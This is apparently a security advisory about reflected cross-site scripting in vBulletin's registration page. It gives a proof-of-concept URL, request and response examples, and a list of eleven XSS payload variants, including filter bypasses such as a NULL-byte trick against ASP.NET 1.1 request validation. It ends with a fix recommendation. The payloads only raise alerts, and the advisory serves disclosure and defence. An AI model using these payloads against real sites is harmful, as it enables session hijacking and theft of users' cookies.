Cross Site Scripting in VBulletin forum software
Client side execution of malicious scripts (cross-site scripting)
Test Impact
Customer session and cookies may be compromised. The attacker may be able to
pose as a legitimate user to view and alter user records, and perform
transactions as that user. From the polarised perspective, a user may only be
able to effect a simple Cross Site Script.
Affected Products
Jelsoft VBulletin
About VBulletin
VBulletin is a powerful, scalable and fully customisable forums package for
your web site. Based on the PHP language, backed with a blisteringly fast MySQL
back-end database, vBulletin is the ideal community solution for all
medium-to-large sites.
Actual exploit
>From http://iwww.domain.tld/forum/register.php? The user should navigate to
>http://www.domain.tld/forum/register.php by selecting the checkbox and
>register button. The user may add what ever session specific information is
>available, in the case of the test I added the following:
http://www.domain.tld/forum/register.php?s=60b7ac47d0eba9853b6e36a3b18924bc&s=&do=register&url=AK%22%20style%3D%22background:url(javascript:alert(%27XSS%20Vulnerable%20To%20Cross%20Site%20Scripting%27))%22%20OS%22&month=0&day=0&year=0&who=adult&agree=1
Test Technical Description
There are three parties involved in this attack:
[1] - Is an attacker who may know the identity of "B", and the structure of
site "C".
[2] - Is the victim user (of web-site "C").
[3] - Is the vulnerable web-site.
The attack may become an issue where privacy is concerned. The attacker (A)
gains the victim user (B)'s credentials at the vulnerable site (C). When the
site involved is vulnerable, it is possible to steal credentials from its
users. It is not possible to gain information regarding other sites, so (C)'s
vulnerability affects only (C)'s customers.
The attack hinges on the fact that the web site (C) contains a script that
returns user's input (usually a parameter value) in an HTML page without first
sanitising the input. This allows an input consisting of JavaScript code to be
executed by the browser when the script returns this input in the response
page. As a result it is possible to form links to the site (C) where one of the
parameters consists of malicious JavaScript code. This code will be executed
(by (B)'s browser) in (C) site context, granting it access to cookies (B) has
for site (C), and other windows in site (C) at browser (B).
The attack proceeds as following: The attacker (A) lures the legitimate user
(B) to click on a link that was produced by the attacker. When the user clicks
on the link, this generates a request to the web-site (C) containing a
parameter value with malicious JavaScript code. If the web-site (C) embeds this
parameter value into the response HTML page (this is the essence of the site
vulnerability), the malicious code will run in the user's browser (B).
Possible actions that can be performed by the script are:
[1] Sending the attacker the user cookies for the legitimate site
[2] Sending the attacker the current URLs of the legitimate site in which the
user has an open window
This information is sent to the attacker (A), and thus the victim user "C"'s
security (privacy) is compromised.
Some notes:
[1] Although the attacked web site (C) is involved, it is not compromised
directly. It is used as a 'jump station' for the malicious script (sent by the
attacker) to return to the victim's browser (B) as if it is legitimate.
However, since the privacy of the victim (B) is breached in the context of site
(C), and since site (C) is directly responsible, it is considered a security
flaw in site (C) (much like a weak session token would have been).
[2] The malicious link can be provided by user (A) using a web site link (given
that user (A) maintains a site that is visited by (B)), or - via email (given
that user (A) knows user (B)'s email address, and user (B)'s email client uses
the browser to render the HTML message).
[3] While user input is most commonly found in form field values (i.e. URL
parameters), there are known attacks where the malicious code is embedded in
the path, or in the HTTP Referer headers, and even in cookies.
There are two possible scenarios when sending input to a CGI script that is
vulnerable to cross-site scripting:
[A] The parameter value sent to the CGI script is returned in the response
page, embedded in the HTML. For example:
[request]
GET /cgi-bin/script.pl?name=USERNAME HTTP/1.0
[response]
HTTP/1.1 200 OK
Server: DOMAIN
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 27
<HTML>
Hello USERNAME
</HTML>
[B] The parameter value sent to the CGI script is returned in HTML parameter
value context. For example:
[request]
GET /cgi-bin/script.pl?name=USERNAME HTTP/1.0
[response]
HTTP/1.1 200 OK
Server: DOMAIN
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 254
<HTML>
Please fill in other data:
<FORM METHOD=GET ACTION="/cgi-bin/script.pl">
<INPUT TYPE=text NAME="name" value="USERNAME"> <br>
<INPUT TYPE=text NAME="other data" value="Enter other data here"> <br>
<INPUT TYPE=submit value="Submit">
</FORM>
</HTML>
Example 1 - scenario A: the following request is sent by the user
[attack request]
GET
/cgi-bin/script.pl?name=>"'><script>alert(XSS%20Vulnerable%20To%20Cross%20Site%20Scripting')</script>
HTTP/1.0
[attack response scenario A]
HTTP/1.1 200 OK
Server: Domain
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 83
<HTML>
Hello >"'><script>alert('XSS Vulnerable To Cross Site
Scripting')</script>
</HTML>
In this case, the JavaScript code, will be executed by the browser (The >"'>
part is irrelevant here).
Example2 - scenario B: (using the same script and input displayed in example 1
to invoke the attack)
[attack response scenario B]
HTTP/1.1 200 OK
Server: Domain
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 310
<HTML>
Please fill in other data:
<FORM METHOD=GET ACTION="/cgi-bin/script.pl">
<INPUT TYPE=text NAME="name" value=">"'><script>alert('XSS Vulnerable
To Cross Site Scripting')</script>"> <br>
<INPUT TYPE=text NAME="other data" value="Enter other data here"> <br>
<INPUT TYPE=submit value="Submit">
</FORM>
</HTML>
The >"'> prefix is used to 'break out' of the parameter value context. Closing
the parameter value field ( "'> ) and then closing the <INPUT> tag ( > ) will
cause the JavaScript to be executed by the browser, and not to be treated as a
parameter value (that will not be parsed/executed as JavaScript code).
Listed below are the different variants performed:
[1] >'><script>alert(?XSS Vulnerable To Cross Site
Scripting?)</script>
[2] >"><script>alert(?XSS Vulnerable To Cross Site
Scripting?)</script>
[3] </TextArea><script>alert(?XSS Vulnerable To Cross Site
Scripting?)</script>
[4] >"'><img src="javascript:alert(?XSS Vulnerable To Cross Site Scripting?)">
[5] >"'><img
src=javascript:alert("XSS - Vulnerable TO Cross Site Scripting")>
[6] AK" style="background:url(javascript:alert(?XSS Vulnerable To Cross Site
Scripting?))" OS"
[7] --><script>alert(?XSS Vulnerable To Cross Site
Scripting?)</script>
[8] '+alert(?XSS Vulnerable To Cross Site Scripting?)+'
[9] "+alert(?XSS Vulnerable To Cross Site Scripting?)+"
[10] >'><%00script>alert(?XSS Vulnerable To Cross Site
Scripting?)</script> (.NET 1.1 specific variant)
[11] >"><%00script>alert(?XSS Vulnerable To Cross Site
Scripting?)</script> (.NET 1.1 specific variant)
Variant details:
Variant [1] & [2]: These are the most basic cross-site scripting variants. The
difference between the two variants is the use of quotes/apostrophe in the
JavaScript code. Web application programmers only sanitise user input for
apostrophe or quotes but not both.
Variant [3]: This variant is specifically designed for cases where user input
is returned embedded in <TEXTAREA> parameters. Note: I have tried to 'break
out' of the parameter value (text area), in order to force the JavaScript to be
executed by the browser.
Variant [4]: Some web application programmers sanitise <SCRIPT> tags from
user input, but forget to sanitise the "javascript:" specifier, which can be
used in HTML links. In this variant, I have tried to embed the malicious
JavaScript code by using an <img> tag with a JavaScript link as its source.
Variant [5]: This variant is very similar to variant #4. It uses HTML entities,
in order to bypass security measures which sanitise user input of the <, >,
quotes and the "javascript:" specifier.
Variant [6]: This variant uses the least number of non-standard characters.
Unlike former variants, it does not use &, >, < , # or ; characters. Assuming
that the user input is embedded in HTML form parameter value (inside an <INPUT>
tag), the malicious string first escapes from parameter value context and then
proceeds to add a STYLE attribute to the <INPUT> tag, in which it embeds the
malicious JavaScript code. Note: this variant will only work properly in
scenario B.
Variant [7]: Some web applications embed user input inside HTML comments. For
those specific cases, I have closed the HTML comment ( --> ), and then embeds
the malicious JavaScript code.
Variant [8], [9]: Some web applications embed user input in JavaScript string
literals, for example:
<HTML>
<SCRIPT LANGUAGE="JavaScript">
var str = 'Hello $user_input';
...
</SCRIPT>
</HTML>
If we send the following parameter value: '+alert(?XSS Vulnerable To Cross Site
Scripting?)+', the resulting response page will look like this:
<HTML>
<SCRIPT LANGUAGE="JavaScript">
var str = 'Hello ' + alert(?XSS Vulnerable To Cross Site Scripting?) + '';
...
</SCRIPT>
</HTML>
The application is 'tricked' to concatenate the malicious JavaScript code in
the middle of the original string literal, this will cause the browser to
execute our JavaScript code. The difference between variant #8 and #9 is the
use of quotes/apostrophe, which customise the attack for both
string-terminating characters.
Variant [10], [11]: In Microsoft .NET 1.1, the HttpRequest.ValidateInput method
validates data submitted by a client browser and raises an exception if
potentially dangerous data is present.
>From MSDN: "If the validation feature is enabled by page directive or
>configuration, this method is called during the Page's ProcessRequest
>processing phase. ValidateInput can be called by your code if the validation
>feature is not enabled. Request validation works by checking all input data
>against a hard-coded list of potentially dangerous data."
Input data is checked during request validation in the following members:
- HttpRequest.Form,
- HttpRequest.QueryString,
- HttpRequest.Cookies
** Note: The HttpRequest.ValidateInput is enabled by default in ASP.NET 1.1
ASP.NET 1.1 blocks input containing '<' followed by an alphanumeric character
or an exclamation mark (e.g. <script> , <img, <!--, etc...) If the '<'
character is followed first by a NULL byte and only then by an alphanumeric
character, the pattern does not match and the input is allowed to reach the web
application. For example:
[*] The string '<script>' is blocked by ASP.NET 1.1
[*] The string '<\0script>' is allowed by ASP.NET 1.1 (The NULL byte can also
be sent URLEncoded, %00).
This by itself, this is only one half the problem. It seems that the HTML
parser of most web browsers (including Microsoft Internet Explorer - all
versions), ignores the NULL byte, and parses <\0script> as <script>, when
combining this with the security problem presented above - Any HTML tag can be
injected through ASP.NET 1.1 HttpRequest.ValidateInput security mechanism,
leaving it vulnerable to cross site scripting, and injection of other malicious
HTML tags.
Fix Recommendation
Sanitise user input and filter JavaScript code. We suggest that you filter the
following characters: < > " ' % ; ) ( & +
Vendor Notification
Yes
References And Relevant Links
CERT Advisory CA-2000-02
http://www.cert.org/advisories/CA-2000-02.html
Microsoft HOWTO: Prevent Cross-Site Scripting Security Issues (Q252985)
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q252985
Microsoft Technet "Cross-site Scripting Overview"
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/csoverv.asp